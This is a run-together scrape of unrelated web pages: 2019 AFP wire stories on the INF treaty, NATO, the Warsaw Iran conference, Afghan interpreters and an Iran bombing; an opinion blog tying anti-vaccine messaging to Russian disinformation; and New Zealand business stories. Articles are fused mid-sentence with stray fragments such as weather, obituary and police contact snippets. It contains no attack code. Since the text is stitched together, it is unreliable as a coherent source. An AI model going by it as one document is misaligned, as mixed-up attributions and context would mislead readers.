The collapse of the 1987 treaty, which banned ground-launched missiles with a range of 500 to 5,500 kilometres, has sparked fears of a new arms race in Europe.

But Stoltenberg said NATO had no intention of deploying "new nuclear land-based weapons systems in Europe".

"Then of course we have a wide range of other options, conventional and other options, but I will not speculate on them now," Stoltenberg said.

German Defence Minister Ursula von der Leyen said a "broad mix of measures" was being considered, and unexpectedly -- given Berlin's softly-softly approach on the INF issue -- she refused to rule out the deployment of nuclear missiles.

"It's important that we don't start hierarchising or excluding individual points now, but really leave the whole palette on the table," she told reporters.

"I mean that it's not just about purely military issues, but also about economic issues, about political issues."



- Gorbachev criticism -



Stoltenberg said the new Russian missiles were just the latest example of Moscow's increasingly assertive posture.

"They are part of a broader picture where we have seen Russia investing heavily in modern military capabilities over a long time, including new nuclear capabilities," he said.

"They have announced a lot of new nuclear weapons systems and they have used force against a neighbour in Ukraine."

Moscow denies the missile breaches the terms of the INF treaty and has made various counter-allegations against the US.

Mikhail Gorbachev, the former Soviet leader who signed the INF treaty with then US president Ronald Reagan, launched a stinging attack on Washington over its exit from the pact on Wednesday.

He accused the US of abandoning the agreement "to free itself of any constraints in the arms sphere (and) gain absolute military superiority", in a column published by the Russian newspaper Vedomosti.Britain will 'do what it takes' to beat IS: minister



Brussels, Feb 13 (AFP) Feb 13, 2019



Britain is ready to do "all that is required" to neutralise the threat from the Islamic State group, defence minister Gavin Williamson said Wednesday, after the US suggested creating a new international mission in northeast Syria.

Acting US defence secretary Patrick Shanahan said he would consult with allies at a meeting of NATO defence ministers in Brussels about the "potential" for an observer force in northeast Syria after American forces pull out.

US-backed forces are currently in the fifth day of a fierce battle to expel IS fighters from their last holdout in eastern Syria -- the final remaining scrap of the "caliphate" the jihadists declared in 2014.

But the US is set to withdraw its 2,000 troops from the country, as announced by President Donald Trump in December, in a move that shocked America's allies and raised security fears for the region.

Asked if Britain would support an observer force with boots on the ground, Williamson did not demur but pledged to carry on the fight against IS, also known as Daesh.

"We recognise the fact the threat of Daesh is going to evolve and it's going to change and it's going to disperse," Williamson said as he arrived for the NATO meeting.

"We will continue to do all that is required to ensure that Britain and our allies remain safe."

Shanahan visited Baghdad on Tuesday to reassure Iraqi leaders after President Donald Trump angered many by saying he wanted to maintain some troops at the Al-Asad airbase, northwest of Baghdad, to keep an eye on Iran.

Afterwards Shanahan said he would use the NATO meeting to discuss "where we can take advantage of the opportunities there... in terms of the potential in northeast Syria to establish an observer force" to ensure stability in the longer term.

The international anti-IS coalition, which includes the US and many NATO countries as well as Middle Eastern nations, could be an option for the proposed force, Shanahan said.US, Israeli leaders head to Poland with eyes on pressing Iran



Warsaw, Feb 13 (AFP) Feb 13, 2019



US Vice President Mike Pence and Israeli Prime Minister Benjamin Netanyahu were expected Wednesday in Warsaw for a 60-nation conference that they hope will raise the international stakes for Iran.

But the two-day conference will also lay bare divisions, with major European allies of the United States sending low-profile representatives amid unease over President Donald Trump's strident calls to strangle Iran's economy.

Pence and US Secretary of State Mike Pompeo will join the Polish government in welcoming officials at a dinner at the Royal Castle in Warsaw's old town, the home for centuries to monarchs.

While much of the schedule remained vague, the main session will take place Thursday when Pence, Pompeo and Netanyahu all deliver remarks and working groups are assigned to discuss areas of concern.

"This is a global coalition that is built to deliver on the important mission of reducing the risk that has emanated from the Middle East for far too long," Pompeo said Tuesday evening as he opened his visit to Poland.

Netanyahu is likely to deliver a fiery address on Iran, whose leaders reject Israel's existence.

He has vowed to keep striking Iranian forces until they leave war-torn Syria and has not ruled out a military strike to destroy the nuclear programme of Tehran.

But outside of Israel, Iran's Arab rivals and the Trump administration, nearly all countries still back an accord negotiated under previous US president Barack Obama in which Iran agreed to end sensitive nuclear work in return for sanctions relief.



- Differing on 'same threats' -



Even Poland's right-wing government -- eager to please the United States amid constant worries over Russia -- has made clear it supports the 2015 nuclear deal, to which UN inspectors say Iran is abiding.

"The European Union and the United States see the same threats in the Middle East; we sometimes differ on how to solve these crises," Polish Foreign Minister Jacek Czaputowicz told a joint news conference with Pompeo.

Poland, whose ambassador in Tehran was summoned in protest, has taken pains after Pompeo's initial announcement to emphasise that Iran is not the sole focus of the conference.

"The EU does not have enough political weight to really try to influence the situation in the Middle East," Czaputowicz said, adding that all "democratic nations" needed to come together to resolve longstanding tensions in that region.

Ned Price, a former Obama adviser and intelligence official, said that the Warsaw conference will only showcase the Trump administration's isolation as European allies did not want to be part of an "anti-Iran pep rally".

"More than merely embarrassing, the administration's stated 'maximum pressure' approach is incoherent, as America lacks allies willing to support such a strategy," said Price, now at the National Security Action pressure group.



- Talks on Yemen -



British Foreign Secretary Jeremy Hunt is the only major European diplomat to come to Warsaw, but he is attending primarily to discuss the humanitarian crisis in Yemen, where several million people are on the brink of starvation.

Hunt will participate in a four-way meeting Wednesday evening with Pompeo and Saudi Arabia and the United Arab Emirates, which have waged a devastating US-backed military campaign against Yemen's Iranian-linked Huthi rebels.

Russia is shunning the conference and will hold parallel talks Thursday in the resort of Sochi with Iranian President Hassan Rouhani and Turkish President Recep Tayyip Erdogan on Syria, where Trump is planning to withdraw US troops.

In Warsaw, Turkey said it will only send embassy staff to the conference among its NATO allies.

One group that will be out in force will be the People's Mujahedin, Iran's formerly armed opposition.

The People's Mujahedin, which was delisted as a terrorist movement by the United States in 2012, has cultivated close ties with US conservatives including former New York mayor Rudy Giuliani, who will speak at a rally by the group in Warsaw.Washington to send more troops to Poland: US ambassador



Warsaw, Feb 13 (AFP) Feb 13, 2019



The United States plans to expand its troop presence in Poland beyond the current 4,000-strong contingent deployed to counter a resurgent Russia, Washington's ambassador to Warsaw said on Wednesday ahead of a high-profile security conference.

US ambassador Georgette Mosbacher said there would be a major boost in the US military presence, in response to requests by Warsaw's rightwing government.

"It will be significant. It passes the hundred mark, the hundreds mark," she told the Financial Times, without specifying a timeline. "I think (the Poles are) going to get most of what they want."

The comments come as Vice President Mike Pence and Secretary of State Mike Pompeo headline a conference in Warsaw on security issues in the Middle East on Wednesday and Thursday that the US is co-hosting with Poland.

Pence and Polish President Andrzej Duda are also expected to finalise a deal on Wednesday allowing Warsaw to buy mobile rocket launchers worth $414 million (365 million euros) from the US.

Poland's government has been pushing for the United States to open a permanent military base on its soil, where American troops are already stationed on a rotational basis as part of NATO operations.

Mosbacher echoed US defence officials who have downplayed any idea of any permanent base.

"But in terms of a presence that is undeniable and a large number of American troops here, that's a given," she said in the FT interview published online.

"The Department of Defense sees (the forces of the 21st century) as . . . more agile, more rotating, rather than where you have physical hospitals and homes and you bring your families," Mosbacher said.

In March last year, Warsaw signed a $4.75 billion contract to purchase a US-made Patriot anti-missile system.

The US leads a multinational NATO battalion in Poland, one of four that the US-led alliance deployed to the region in 2017 to act as tripwires against possible Russian adventurism in the wake of Moscow's 2014 annexation of Crimea from Ukraine.Japan's Toshiba cuts profit outlook again



Tokyo, Feb 13 (AFP) Feb 13, 2019



Struggling Japanese engineering firm Toshiba lowered its profit forecasts Wednesday with rising costs weighing on its energy operations.

The fresh downgrade comes as the firm undergoes painful reforms to stay afloat after logging billions of dollars in losses from its disastrous acquisition of US nuclear firm Westinghouse.

Having sold its lucrative chip making business, Toshiba also saw sharply lower operating profit over the past three quarters compared with the previous year, though proceeds from the sale boosted its net profit over the nine-month period.

For the year to March, Toshiba said it now expects a net profit of 870 billion yen ($7.86 billion), down from a November estimate of 920 billion yen.

In May, the company issued its original annual net profit forecast at 1.07 trillion yen.

The drop was due in part to a so-called goodwill impairment associated with falling share prices of a subsidiary, but also higher costs at a domestic power transmission and distribution project, the company said.

Toshiba also cut its annual operating profit to 20 billion yen, while slightly increasing its annual sales projection to 3.62 trillion yen.

The Tokyo-based company used to sell everything from rice cookers to nuclear plants and has long been a household name.

But a series of scandals and business losses in recent years have forced the company to withdraw from many operations, such as appliances and personal computers that gave it brand recognition.

To stay afloat, the cash-strapped group sold its lucrative chip business for $21 billion to K.K. Pangea, a special-purpose company controlled by a consortium led by US investor Bain Capital.

Still, the company is scrambling to revive itself, having announced in November plans to slash 7,000 jobs, to scrap or consolidate some factories and reduce its subsidiaries, to liquidate a unit building a UK nuclear power plant, and to withdraw from a US-based liquid natural gas business.French victory ends long asylum battle of Afghan interpreters



Paris, Feb 13 (AFP) Feb 13, 2019



They served the French army on the frontlines in Afghanistan, sometimes bearing arms during operations by international forces against the Taliban.

But for years after the French troops pulled out, many Afghan interpreters were left exposed to revenge attacks by Islamist fundamentalists and denied asylum by the country for which they worked.

Their long fight for protection from France ended on February 1 when a top French court ordered the state to give immediate protection to all those who had been previously turned away.

As Afghanistan sinks further into violence, those who serve or have served foreign militaries are particularly at risk from the Taliban, who view them as traitors.

Zainullah Oryakhail, 30, served as an interpreter for a French battalion from 2009 to 2013 -- a role for which he was occasionally armed with a French assault rifle to use in the event of an ambush.

On January 7, his long quest for asylum ended when he arrived in France with his family, a year after he fled his village 38 kilometres (around 24 miles) north of Kabul.

Oryakhail, who had been denied asylum by France in 2015, had already survived a drive-by shooting at his home and then been wounded in a suicide motorcycle bombing as he spoke to a NATO patrol outside his house.

Convinced both attacks were linked to his work with the French military, over which he had received multiple threats, he moved to a freezing, one-room apartment in a suburb of Kabul.

He survived by doing odd jobs, living in constant fear, until December 2018, when France's Council of State, the country's highest administrative court, ordered he be given immediate protection, along with five other interpreters whose asylum requests had been rejected in 2015.

In the landmark ruling, the court said that the state owed local staff a duty of "functional protection".

In a follow-up decision on February 1 the council went further, extending the protection to all the interpreters whose asylum requests had been rejected, including those who missed a government deadline to apply.

The ruling, which also sets a precedent for local people employed by the French army in other conflict zones such as the Sahel region of West Africa, comes too late for some Afghans who sought safety in France.

Qader Daoudzai, an interpreter for the French military from 2010 to 2012 whose visa application was rejected in 2015, died in a bomb blast in Kabul on October 20.

He left behind a pregnant wife and three children.

Yusefi Z., another former interpreter who cannot be fully identified for safety reasons, was severely wounded, and his step-brother killed, in mid-January in a bomb blast in Kabul, where he remains in hiding.

- 'Traitors' -



France was the fifth-biggest contributor of troops to the NATO-led mission in Afghanistan from 2001 to 2014, when the last of its soldiers left the country.

Over the course of its long deployment, the military employed 770 local staff in positions such as interpreters, drivers and warehouse workers.

A total of 224 interpreters received visas to move to France in three waves of relocations between 2013 and 2018, according to the Association of the French Army's Afghan Interpreters, but many were then turned down.

France is not the only country accused of failing to provide adequate protection for former Afghan employees.

A British parliamentary committee last year found Britain had "dismally failed" to look after 7,000 former Afghan staff.

Defending France's record, a defence ministry source, who asked not to be identified, said French officials had spent a month in the region in late 2018 to hear new asylum requests and reopen old cases.

The mission was carried out "at the request of the French president, taking into account the deterioration of the situation during the past 12 months in Kabul and Kapisa," the province where most of the French troops were stationed, the official said.

At the end of the mission, 218 long-stay visas were granted to former employees and their families, the official said, adding: "France cannot be accused of doing nothing."

- Treated like 'ordinary migrants' -



But for Quentin Mueller, co-author of a book entitled "Interpreter, a French Betrayal" ("Tarjuman, une Trahison francaise") published last week, France abandoned those who were its "eyes and ears in the fight" against the Taliban.

"It treated them like ordinary migrants who would like to take advantage of the French system," he said.

The book's other author Brice Andauer denounced the asylum process as "intentionally opaque and secretive", saying many applicants had been turned down with no reason given.

Noting that the French army's local Afghan staff were routinely subjected to background checks, he argued there were few chances of extremists slipping through the system into France.

"Furthermore, the Taliban have never advocated global jihad", he pointed out.

Today, there are still close to 550 former interpreters and other service providers who could claim protected status in France.

Some have already joined the migrant trail to Europe or moved to neighbouring countries, having lost hope of being brought to safety.Acting Pentagon chief makes surprise Baghdad visit



Baghdad, Feb 13 (AFP) Feb 13, 2019



Acting Pentagon chief Patrick Shanahan made an unannounced visit to the Iraqi capital on Tuesday for talks on the sensitive issue of a continued US troop presence after Washington withdraws from neighbouring Syria.

Shanahan is keen to reassure Iraqi leaders after President Donald Trump angered many by saying he wanted to maintain some troops at the Al-Asad airbase, northwest of Baghdad, to keep an eye on Iran.

The acting defence secretary, who flew in from Afghanistan on his first foreign tour since taking office last month, held talks with Prime Minister Adel Abdel Mahdi and top military advisers, as well as Lieutenant General Paul LaCamera, the commander of anti-IS coalition forces.

His meeting with Iraq's premier had "a very good energy", Shanahan told the press after arriving in Brussels where he is set to attend a NATO summit.

"I made very clear that we recognise their sovereignty, their focus on independence and that we are there at the invitation of the government," he added.

Asked whether they had touched on the possibility of US troops in Iraq deploying across the border into Syria for operations against the Islamic State group, Shanahan said: "It just did not come up."

The two spoke about Iran "indirectly... in the context of Iraq's independence", he said, adding that Abdel Mahdi had stressed the need for Baghdad to maintain good relations with both its neighbours and the US.



- Focus on IS -



A senior Pentagon official had earlier told journalists travelling with Shanahan that Washington's "main partnership and military activity in Iraq is the de-ISIS (IS) mission".

Washington was also pressing its allies to repatriate their nationals captured and taken prisoner during the fight against IS in Iraq and Syria, the official said.

"We think coalition members need to take responsibility for their citizens who are fighters. It's been a message we've delivered time and time again. And we are seeing hopeful progress," he said.

Trump's comments about Iran, in an interview with CBS television aired February 3, drew a stern rebuff from President Barham Saleh, who said the use of Iraq as a base against a third country violated its constitution.

They also sparked renewed calls for a US withdrawal both from pro-Iran factions within the government and from Iran-trained armed groups whose power has risen sharply during the fightback against IS jihadists that culminated in December 2017.

Those calls are likely to intensify as Washington carries out the full troop withdrawal from Syria unveiled in a shock announcement by Trump in December.

The plan, judged hasty by both US allies and senior figures within Trump's own administration, prompted the resignation of Shanahan's predecessor, Jim Mattis.

But with US-backed Kurdish-led fighters poised to overrun IS's last sliver of territory in eastern Syria perhaps as early as this week, the withdrawal, which other administration figures had managed to slow, is now likely to gather pace.



- 'Incredible base' -



Trump's comments about the Al-Asad airbase came after the US president had already angered Iraqi leaders in December by paying a Christmas visit to US troops based there without travelling to Baghdad to speak with officials.

"We spent a fortune on building this incredible base. We might as well keep it," Trump said in the CBS interview.

"One of the reasons I want to keep it is because I want to be looking a little bit at Iran because Iran is a real problem," he added.

A draft law that would set a timetable for a US troop withdrawal is now before the Iraqi parliament.

It is backed by both of Iraq's most powerful political groupings -- the nationalist alliance led by firebrand Shiite cleric Moqtada Sadr, and the pro-Iran movement of former anti-IS fighters.

At a rare joint news conference on Monday, the two groupings demanded at the very least a "new agreement" setting tight conditions on any future foreign troop presence.

Following the US-led invasion that overthrew since-executed dictator Saddam Hussein in 2003, US troop numbers peaked at some 170,000 before a full withdrawal was completed in 2011.

Troops returned to Iraq in 2014 as part of an international coalition set up to fight IS after it swept through much of the north and west as well as swathes of neighbouring Syria that year.

As for his talks on Wednesday in Brussels, Shanahan said he would brief his "counterparts here at NATO on my perceptions of Afghanistan, Syria and Iraq and what the opportunities are for the coalition".

He said he would discuss "where we can take advantage of the opportunities there... in terms of the potential in northeast Syria to establish an observer force" to ensure stability in the longer term.

sl/sbh/dco/dv/kafThe content herein, unless otherwise known to be public domain, are Copyright 1995-2018 - Space Media Network. All websites are published in Australia and are solely subject to Australian law and governed by Fair Use principals for news reporting and research purposes. AFP, UPI and IANS news wire stories are copyright Agence France-Presse, United Press International and Indo-Asia News Service. ESA news reports are copyright European Space Agency. All NASA sourced material is public domain. Additional copyrights may apply in whole or part to other bona fide parties. Advertising does not imply endorsement, agreement or approval of any opinions, statements or information provided by Space Media Network on any Web page published or hosted by Space Media Network. Privacy StatementPope talks AI ethics with Microsoft head Smith



Vatican City, Feb 13 (AFP) Feb 13, 2019



Pope Francis debated the potential threats artificial intelligence poses to humanity with the head of Microsoft on Wednesday, ahead of a robotics summit at the Vatican, it said.

"In the wrong hands, every instrument can become a weapon if the organisational power of humanity cannot keep up with the technology itself," Microsoft head Brad Smith said in an interview ahead of the papal meeting.

With Francis he discussed "artificial intelligence at the service of the common good and activities aimed at bridging the digital divide that still persists at the global level," the Vatican said.

The pontiff had urged world leaders gathered in Davos last year to ensure that AI "contribute(s) to the service of humanity and to the protection of our common home, rather than to the contrary".

Smith told the Vatican's L'Osservatore Romano newspaper that "in order to ensure people have confidence in technology, we must think beyond the technology itself".

"We need strong ethical principles, new evolved laws, the training of people with new skills and even labour market reforms".

Microsoft and the Vatican's Pontifical Academy for Life launched an international prize on ethics in artificial intelligence (AI), the academy said.

It will go to the best doctoral dissertation between September 2018 and October 2019 on AI at the service of humanity.

"AI will have an impact on every area of society and will not be created by or used by the technology sector alone. That's why the world must come together to face these problems with a sense of shared responsibility," Smith said.

His visit came ahead of a summit on "Robo-ethics: Humans, Machines and Health" at the Vatican on February 25 and 26.

The workshop will focus on the use of robots and artificial intelligence, specifically in medicine and health care, and how they are having an ever-increasing impact on human lives, relationships, communities and creation.

It will be followed in 2020 by a plenary assembly on artificial intelligence.If you have any questions concerning traffic related laws or issues in Minnesota send your questions to Sgt. Troy Christianson  Minnesota State Patrol at 2900 48th St. NW, Rochester, MN 55901-5848. (Or reach him at Troy.Christianson@state.mn.us)You are the owner of this article.Enterprise, AL (36331)

Today

Partly to mostly cloudy with a chance of thunderstorms. High near 85F. Winds E at 5 to 10 mph. Chance of rain 50%..

Tonight

Partly cloudy skies. A stray shower or thunderstorm is possible. Low 68F. Winds E at 5 to 10 mph.Biological warfare offers an unparalleled opportunity for enemies of the US to terrorize and kill Americans.

According to Wikipedia:

Biological warfare (BW)  also known as germ warfare  is the use of biological toxins or infectious agents such as bacteria, viruses, and fungi with the intent to kill or incapacitate humans, animals or plants as an act of war. The use of biological weapons is prohibited under customary international humanitarian law, as well as a variety of international treaties. The use of biological agents in armed conflict is a war crime.

The limiting factor in biological warfare is not the number of agents; there are many excellent candidates that could be used to wipe out our population. To date the limiting factor has been the ability to weaponize those agents.

[pullquote align=right cite= link= color= class= size=]Anti-vaxxers, Russia is trying to Make America Sick Again. Dont help them![/pullquote]

The primary difficulty is not the production of the biological agent, as many biological agents used in weapons can often be manufactured relatively quickly, cheaply and easily. Rather, it is the weaponization, storage and delivery in an effective vehicle to a vulnerable target that pose significant problems.

But what if it were much, much easier? What if you didnt need to manufacture the agent, weaponize it, store it and find an appropriate method of dispersal? What if all you needed to do was convince Americans not to vaccinate against it?

Unless you have been living under a rock, you are undoubtedly aware that Russia under Vladimir Putin has been engaged in a multi-faceted disinformation campaign designed to cause chaos in the American political system, enable the election of Russia friendly politicians, and sow discord in the international alliances that restrict Russian aggression. It has been successful beyond Putins wildest imagination, with the election of Donald Trump  Russias candidate  to the Presidency. And it was all done without firing a shot. All it took was the theft of private information, weaponized by mastery of Facebook and Twitter.

But what if you wanted to go beyond a wholesale takeover of the political system of the US and actually kill Americans? All youd need is the weaponization of misinformation about vaccines and disease, and scourges believed controlled in the US would come roaring back.

What if anti-vaxxers  so desperate to believe that their ignorance and conspiracy theories mark them as enpowered, independent thinkers  are nothing more than easily controlled pawns in an effort to weaken the US? Its not as unlikely as you might think.

Indeed, US Defense Advanced Research Projects Agency (DARPA) has been investigating it. The paper Weaponized Health Communication: Twitter Bots and Russian Trolls Amplify the Vaccine Debate was published in the American Journal of Public Health in October 2018:

We report the results of a retrospective observational study assessing the impact of bots and trolls on online vaccine discourse on Twitter. Using a set of 1 793 690 tweets collected from July 14, 2014, through September 26, 2017, we quantified the impact of known and suspected Twitter bots and trolls on amplifying polarizing and antivaccine messages. This analysis is supplemented by a qualitative study of #VaccinateUS  a Twitter hashtag designed to promote discord using vaccination as a political wedge issue. #VaccinateUS tweets were uniquely identified with Russian troll accounts linked to the Internet Research Agency  a company backed by the Russian government specializing in online influence operations. Thus, health communications have become weaponized: public health issues, such as vaccination, are included in attempts to spread misinformation and disinformation by foreign powers. In addition, Twitter bots distributing malware and commercial content (i.e., spam) masquerade as human users to distribute antivaccine messages. A full 93% of tweets about vaccines are generated by accounts whose provenance can be verified as neither bots nor human users yet who exhibit malicious behaviors. These unidentified accounts preferentially tweet antivaccine misinformation.

They found:

Russian trolls and sophisticated Twitter bots post content about vaccination at significantly higher rates than does the average user. Content from these sources gives equal attention to pro- and antivaccination arguments. This is consistent with a strategy of promoting discord across a range of contro- versial topics  a known tactic employed by Russian troll accounts. Such strategies may undermine the public health: normalizing these debates may lead the public to question long-standing scientific consensus regarding vaccine efficacy We recently found that this strategy was effective for propagating news articles through social media in the context of the 2015 Disneyland measles outbreak.

This is not Russias first foray into disinformation campaigns about disease. As the accompanying editorial in the American Journal of Public Health notes:

Consider, for example, Russias active measures campaign in the mid-1980s to disseminate propaganda that the AIDS virus was unleashed on the world by the United States as a biological weapon. As an individual campaign, it successfully spread thousands of false stories; its reach was limited only by a lack of human resources to conduct active measures. Today, new communication channels, tested strategies, and established preferences among the online public allow the propagation of false information in viral fashion.

The Russian effort to weaponize measles by sowing misinformation about vaccination has important implications both for anti-vaxxers and for medical professionals fighting to save the lives anti-vaxxers put at risk.

Anti-vaxxers need to understand that they are the target of a highly sophisticated disinformation campaign designed to weaken our country. They are not brave, independent thinkers. They are dupes. What more do you need to know about the safety and efficacy of vaccination than the fact that the Russians, our mortal enemies, are trying to convince you of the opposite?

And the stakes are far higher than they realize. It isnt just a matter of wasting money on the books and supplements peddled by anti-vax celebrities. It isnt just a matter of putting the lives of your own children and other peoples infants and immunocompromised children at risk. Its a matter of putting the safety of our country at risk.

Anti-vaxxers, you are NOT the victims of a massive conspiracy of all the doctors, public health officials and pharmaceutical companies in the world. You ARE a victim of a Russian conspiracy targeting you specifically, understanding that your lack of knowledge of science and statistics makes you the weak link in the effort to protect the health of individual Americans and American itself.

Russia is trying to Make America Sick Again. Dont help them!RTHK: At least 27 die in suicide attack in Iran

A suicide car bombing on a Revolutionary Guards bus in southeastern Iran killed 27 troops on Wednesday, in one of the deadliest attacks on the elite forces in years.

The assault came as the troops were returning from a border patrol mission, the Guards said in a statement.

"In this terrorist attack 27 of Islam's brave warriors were killed and 13 were wounded," the statement read, accusing "world domination and Zionist intelligence agencies" of supporting the attackers.

Earlier the official IRNA news agency said "the suicide attack on an Islamic Revolutionary Guards Corps personnel bus happened on the Khash-Zahedan road."

A picture released by the semi-official Fars news agency showed a hulk of twisted metal lying by the side of a road, unrecognisable as a bus.

The attack happened when "a car filled with explosives blew up besides a bus," the Guards said.

"Mercenaries of intelligence agencies of world arrogance and domination," carried out the attack to counteract "the victory of the 40th anniversary of the Islamic revolution," they added.

Iran has been celebrating the 40th anniversary of the return to Tehran of Ayatollah Ruhollah Khomeini in 1979 after more than 14 years in exile and the overthrow of the pro-Western shah. His arrival triggered the start of the Islamic Revolution and led to the creation of the Islamic Republic.

Wednesday's attack took place in the volatile southeastern province of Sistan-Baluchistan which has a large, mainly Sunni Muslim ethnic Baluchi community straddling the border with Pakistan.

The SITE Intelligence Group reported that the attack was claimed by Jaish al-Adl, a jihadist group formed in 2012 as a successor to the Sunni extremist group Jundallah (Soldiers of God), which waged a deadly insurgency against Iranian targets over the past decade.

The Jaish al-Adl -- blacklisted as a "terrorist group" in Iran -- "announced its responsibility in a brief Persian message on February 13, 2019," SITE reported.

The attack came on the same day as the United States gathered some 60 countries in Poland for a conference on the Middle East and Iran which they hoped would increase pressure on Tehran.

Dubbing the meeting in Poland the "Warsaw Circus", Iranian Foreign Minister Mohammad Javad Zarif said it was "no coincidence that Iran is hit by terror on the very day" that the talks began in the Polish capital.

"Especially when cohorts of same terrorists cheer it from Warsaw streets & support it with twitter bots? US seems to always make the same wrong choices, but expect different results," Zarif wrote on Twitter.

He earlier blasted the two-day conference as "dead on arrival".

"It is another attempt by the United States to pursue an obsession with Iran that is not well-founded," Zarif told a Tehran news conference.

Sistan-Baluchistan has been the scene of other attacks.

On January 29 three members of an Iranian bomb squad sent to the scene of an explosion in its capital Zahedan were wounded when a second device blew up as they were trying to defuse it, police said at the time.

And in early December last year two people were killed and around 40 others wounded in the port city of Chabahar, also in Sistan-Baluchistan, in an attack which Zarif at the time blamed on "foreign-backed terrorists" -- a reference to Sunni Muslim extremists.

Another of the bloodiest attacks in recent times to have hit Iran happened in September when assailants killed 24 people at a military parade in the southwestern city of Ahvaz.

In October, Jaish al-Adl claimed responsibility for abducting 12 Iranian security personnel near the border with Pakistan.

And in July at least 10 members of the Revolutionary Guards were killed when insurgents attacked one of their bases along the border with Iraq. (AFP)

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.Funeral homes often submit obituaries as a service to the families they are assisting. However, we will be happy to accept obituaries from family members pending proper verification of the death.

Go to formRubber goods maker Skellerup Holdings expects a further increase in record full-year earnings after strong growth in its industrial business boosted first-half profit by 15 percent.

The company, which reported a 10 percent lift in first-quarter earnings in October, today reported net profit of $13.4 million for the six months through December, up from $11.7 million a year earlier. Revenue rose 3 percent to $120.2 million.

Earnings before interest and tax rose 11 percent to $19.4 million, with almost all the increase coming from the industrial arms sales to the global water, wastewater, roofing, mining and automotive sectors.

Chief executive David Mair said the 16 percent increase in operating earnings from the industrial division was driven by sales to US equipment makers and also vacuum systems application in consumer products.

Our capability to respond quickly with prototypes and to deliver high-quality products has increased sales, particularly into potable water applications. In addition, our customer-driven product development has delivered earnings growth from products used in extractive industries and marine leisure applications.

Skellerup will pay a first-half dividend of 5.5 cents a share on March 23, up from 4 cents a year earlier.

The Auckland-based company is forecasting full-year profit of $29 million-$31 million, up from the record $27.3 million reported in August.

Skellerup shares last traded at $2.05 and have gained almost 14 percent the past year.

The company, known for the gumboots, filters and milking equipment it supplies to the dairy sector, refocused its industrial unit in recent years after the collapse of commodity prices reduced demand from the energy and iron ore industries.

It turned its attention to the less volatile potable water and wastewater industries, which it sees as having more stable and sustainable growth prospects and which accounted for 40 percent of the divisions sales in the latest period.

The sales  90 percent of them offshore - rose to $78 million during the six months, up 6 percent from the year before. Ebit climbed to $11.7 million from $10 million a year earlier.

Revenue from the smaller, but higher margin, agriculture arm fell 2 percent to $42.3 million and was down 4 percent on a constant currency basis. Ebit rose to $9.6 million from $9.5 million.

Mair attributed the earnings improvement to operational gains made at the firms operations in New Zealand and China.

Sales to local dairy and animal hygiene sectors were down on the prior year, reflecting reduced capital spending in the sector and the reduced forecast dairy pay-out. International markets were mixed, the company said.

Domestic footwear sales remained solid, while international sales grew, with sales in Europe particularly boosted by better volumes for firefighting boots.

The agri-division gets about 39 percent of its sales in New Zealand.

(BusinessDesk)

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Business and education providers have just six weeks to respond to a radical proposal from Education Minister Chris Hipkins to reform the vocational training system.

Thats not enough for such far-reaching and essential reform, some say. Treasury is concerned about a lack of financial specifics in the proposals.

However, the minister says change is urgent and needs to start soon for some parts to be ready for 2020.

Faced with collapsing polytechnics, falling student numbers and a serious shortfall in skilled workers in sectors like construction, the government has announced a three-part solution.

It proposes redefining the roles of existing providers like polytechs and industry training organisations (ITOs) and instead establishing industry skills bodies with more leadership and input from employers and industry.

The 16 polytechnics and institutes of technology would be combined into a single body, the New Zealand Institute of Skills & Technology, and a unified vocational education funding system" would be created to remove barriers to collaboration, improve flexibility, ensure a sustainable network of service provision and support the wider reforms.

Announcing the proposal yesterday, the minister said the issue was urgent. He has set aside just six weeks - until March 27 - for engagement with vocational education stakeholders across the country.

That includes community engagement days in Auckland, Rotorua, Palmerston North and Christchurch, spokesman Richard Trow says. These are a chance for community and industry stakeholders to talk with the Reform of Vocational Education team to learn more about the proposals and provide feedback face-to-face.

We hope to hear from business representatives, including employers, as well as students, trainees and apprentices, iwi and community representatives, unions, members of the public, and education providers, Trow says.

The main reason for the rush is the government's desire to avoid pumping more money into failing polytechs and institutes of technology.

During 2017 and 2018, taxpayer funding propped up Tai Poutini Polytechnic ($8.5 million capital injection, $25 million debt write-off), Unitec Institute of Technology ($50 million concessionary loan) and Whitireia ($15 million capital injection).

But some in the business and training sector say timing is too tight for such important reform.

Garry Fissenden is chief executive of The Skills Organisation, New Zealands largest ITO. He says the governments solution puts solving the financial woes of the countrys polytechnics ahead of a thorough consultation process.

There are 25,000 firms and 145,000 trainees across New Zealand impacted by the proposed reforms. The government has spent a year consulting with polytechs leading up to todays release. They have now scheduled a six-week consultation window to receive feedback from, and genuinely respond to, thousands of Kiwi employers and apprentices  the actual recipients of the system. You do the math.

Treasury is also doing the math and is concerned.

Cabinet is being asked to agree to a significant in-principle decision without a clear indication of the likely overall financial implications of the changes proposed, including short-term transition costs, and enduring funding changes, Treasury officials commented in the Proposals for Vocational Education System Reform consultation document.

We do not think sufficient analysis has been undertaken on the options for enduring funding system changes proposed for consultation. We consider that consulting on these funding system changes is likely to create sector expectations about future funding, without Cabinet having oversight of the associated financial implications.

No one BusinessDesk spoke to argues that change isn't needed - and sooner rather than later. Warwick Quinn, head of the Building and Construction Industry Training Organisation, says New Zealand will need some 80,000 new construction workers over the next five years to build the houses and other projects being planned, including KiwiBuild. Around half of these - or around 40,000 people - need a vocational qualification.

The trouble is that BCITO estimates that if nothing changes, only about 12,500 newly-qualified apprentices and trainees will enter the workforce during that time.

We acknowledge there is a need to move promptly as vocational training is vitally important to New Zealands continued growth, Quinn says. However, we are concerned the six-week consultation period will not allow sufficient time for sector consultation and considered debate, he told BusinessDesk.

As the proposed changes are radical, consultation must be genuine to ensure we protect what is working well, particularly for high-need sectors such as building and construction. The system we develop must be fit-for-purpose and help us deliver the growth New Zealand needs across the next 20 years.

Business New Zealand chief executive Kirk Hope agrees timing is tight for the organisation to consult with members, then put together formal feedback, and arrange meetings with officials and possibly the minister.

Wed prefer a longer time. And the fact the polytechnics are basically bankrupt shouldnt drive fundamental systems change.

However, he says the timeframe is do-able.

The critical message he will be putting forward is that vocational training must be flexible and able to respond to peoples changing skill needs and the changing skill needs of industry and employers.

The most important part of that is further strengthening the focus and legitimacy of workplace-based training, Hope says. Getting that right isnt easy, but if you do get it right, its so powerful.

At the moment theres a mismatch between the funding for workplace-based/apprentice-type education, and the money that goes into polytechnics and institutes of technology, Hope says.

The consultation document shows industry training organisations receive $180 million a year for 140,000 learners, including 46,000 apprentices. Institutes of technology, on the other hand, get significantly more money and deal with fewer students - $509 million for 123,000 learners.

